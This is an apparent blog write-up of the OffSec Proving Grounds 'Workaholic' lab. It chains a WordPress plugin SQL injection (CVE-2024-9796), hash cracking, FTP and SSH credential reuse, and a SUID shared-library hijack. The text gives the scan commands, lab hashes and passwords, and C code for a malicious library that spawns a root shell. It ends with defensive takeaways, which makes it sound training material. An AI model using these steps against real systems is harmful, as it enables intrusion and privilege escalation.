Skip to main content

OffSec Proving Grounds Workaholic — WordPress CVE-2024-9796

James
AOV Security

In this Art of Vector walkthrough, we take OffSec Proving Grounds Workaholic from a blank terminal to root — starting with WordPress recon, then chaining CVE-2024-9796 SQL injection into cracked credentials, FTP access, credential reuse over SSH, and finally a SUID library hijack.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary​

Workaholic looks like a standard WordPress box at first. Ports 21, 22, and 80 are open. The web app identifies as WordPress 6.7.2 behind nginx. Directory and plugin enumeration surface wp-advanced-search, and that plugin is the real foothold.

A public SQL injection against the plugin dumps WordPress password hashes. After cracking two of them, FTP as ted exposes the WordPress tree — including wp-config.php. The database password reused for SSH lands a shell as charlie. From there, a custom SUID helper loads a writable shared library under /home/ted/.lib/, and replacing that library finishes the path to root.

Enumeration​

Nmap​

A full TCP scan with version and default scripts is enough to frame the box:

nmap -sV -sC -p- -v 192.168.120.229

The important ports are:

21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Ubuntu)

HTTP fingerprints WordPress immediately:

http-generator: WordPress 6.7.2
http-title: Workaholic

That already sets the priorities: WordPress content on 80, credential reuse against FTP and SSH, and later local privilege escalation once a shell exists.

Web enumeration​

Start with directory discovery against the site root:

gobuster dir -u http://192.168.120.229/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
--exclude-length 0 -t 9

The expected WordPress layout shows up:

wp-content
wp-admin
wp-includes

Next, enumerate plugins specifically:

gobuster dir -u http://192.168.120.229/wp-content/plugins/ \
-w /usr/share/wordlists/metasploit/wp-plugins.txt \
--exclude-length 0

Two plugins respond:

akismet
wp-advanced-search

akismet is common noise. wp-advanced-search is the interesting one — public research ties it to an unauthenticated SQL injection tracked as CVE-2024-9796.

Why wp-advanced-search became the real path​

The plugin exposes an autocompletion endpoint that trusts attacker-controlled query parameters when building SQL. That turns a WordPress search helper into a database dump channel.

The important idea is the chain:

  • WordPress is exposed on HTTP
  • Plugin enumeration finds wp-advanced-search
  • The vulnerable autocompletion script is reachable without auth
  • Hashes from wp_users can be pulled and cracked offline
  • Those passwords matter beyond the CMS — FTP and SSH are waiting

Once those conditions line up, the host is already in trouble.

Initial access​

Dumping WordPress hashes​

Using a public PoC for CVE-2024-9796 against the target returns three users and their phpass hashes:

admin:$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
charlie:$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
ted:$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/

Crack them with John:

john pass --wordlist=/usr/share/wordlists/rockyou.txt

Valid credentials from the lab:

ted:okadamat17
charlie:chrish20

FTP as ted​

FTP accepts ted / okadamat17:

ftp 192.168.120.229

The listing is the WordPress document root. That is a strong signal — the FTP user can read application files that usually stay behind the web server.

Pull wp-config.php:

get wp-config.php

Inside the config file, the MySQL credentials stand out:

define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );

SSH as charlie​

Credential reuse is the next check. The database password works for SSH as charlie:

ssh charlie@192.168.120.229

After login:

id
# uid=1001(charlie) gid=1001(charlie) groups=1001(charlie)

Upgrade the shell for convenience:

python3 -c 'import pty; pty.spawn("/bin/bash")'

At this point the box is owned as a low-privilege user. Privilege escalation is next.

Privilege escalation​

Finding the custom SUID binary​

Standard local checks turn up something unusual:

find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null

Among the normal Ubuntu SUID binaries is a custom helper:

/var/www/html/wordpress/blog/wp-monitor

strings on that binary explains the intended behavior:

strings /var/www/html/wordpress/blog/wp-monitor

Key strings include:

/var/log/nginx/access.log
POST /wp-login.php
[Warning] Possible brute force attack detected: %s
[+] Checking the logs...
/home/ted/.lib/libsecurity.so
init_plugin

So wp-monitor is a setuid root log checker that dynamically loads /home/ted/.lib/libsecurity.so and calls init_plugin. If that library path is writable, the trust boundary collapses.

Library hijack​

As charlie, create the expected library path and drop a malicious shared object:

mkdir /home/ted/.lib
cd /home/ted/.lib
#include <stdio.h>
#include <stdlib.h>

void init_plugin() {
system("/bin/bash");
}

Compile and run the SUID helper:

gcc -shared -fPIC -Wall -o libsecurity.so libsecurity.c
/var/www/html/wordpress/blog/wp-monitor

The binary prints its log-check banner, then hands over a root shell:

[+] Checking the logs...
root@workaholic:/home/ted/.lib# whoami
root

Root outcome​

What matters at the end is not any single CVE, but the reused trust across services:

  • plugin SQLi dumped hashes
  • cracked passwords unlocked FTP
  • FTP exposed wp-config.php
  • database password reused for SSH
  • a SUID binary trusted a writable shared library

That chain is why Workaholic works as a teaching machine. Each step is simple. Together they end in root.

Why this machine is a good lesson​

Workaholic rewards patience with WordPress enumeration and skepticism about “local-only” secrets.

If you stop at the homepage, you never find the vulnerable plugin. If you crack hashes and only try wp-login.php, you may miss FTP and SSH reuse. If you get a shell and skip custom SUID binaries, you miss the library hijack that finishes the box.

This is why recon and follow-through matter so much in practice. The win usually comes from connecting the boring findings.

Defensive takeaways​

If you run WordPress or custom helpers like this anywhere, the lessons are straightforward:

  1. Keep plugins patched — unauthenticated SQLi in a search plugin is enough for full compromise.
  2. Do not reuse CMS, database, FTP, and SSH passwords across roles.
  3. Never expose WordPress document roots over FTP with broad read access.
  4. Treat custom SUID binaries as high risk, especially when they dlopen libraries from user-writable paths.
  5. Prefer least privilege: a monitoring helper should not need root just to read nginx logs.

References​

Unauthorized access is illegal. This write-up is for education and authorized lab work only.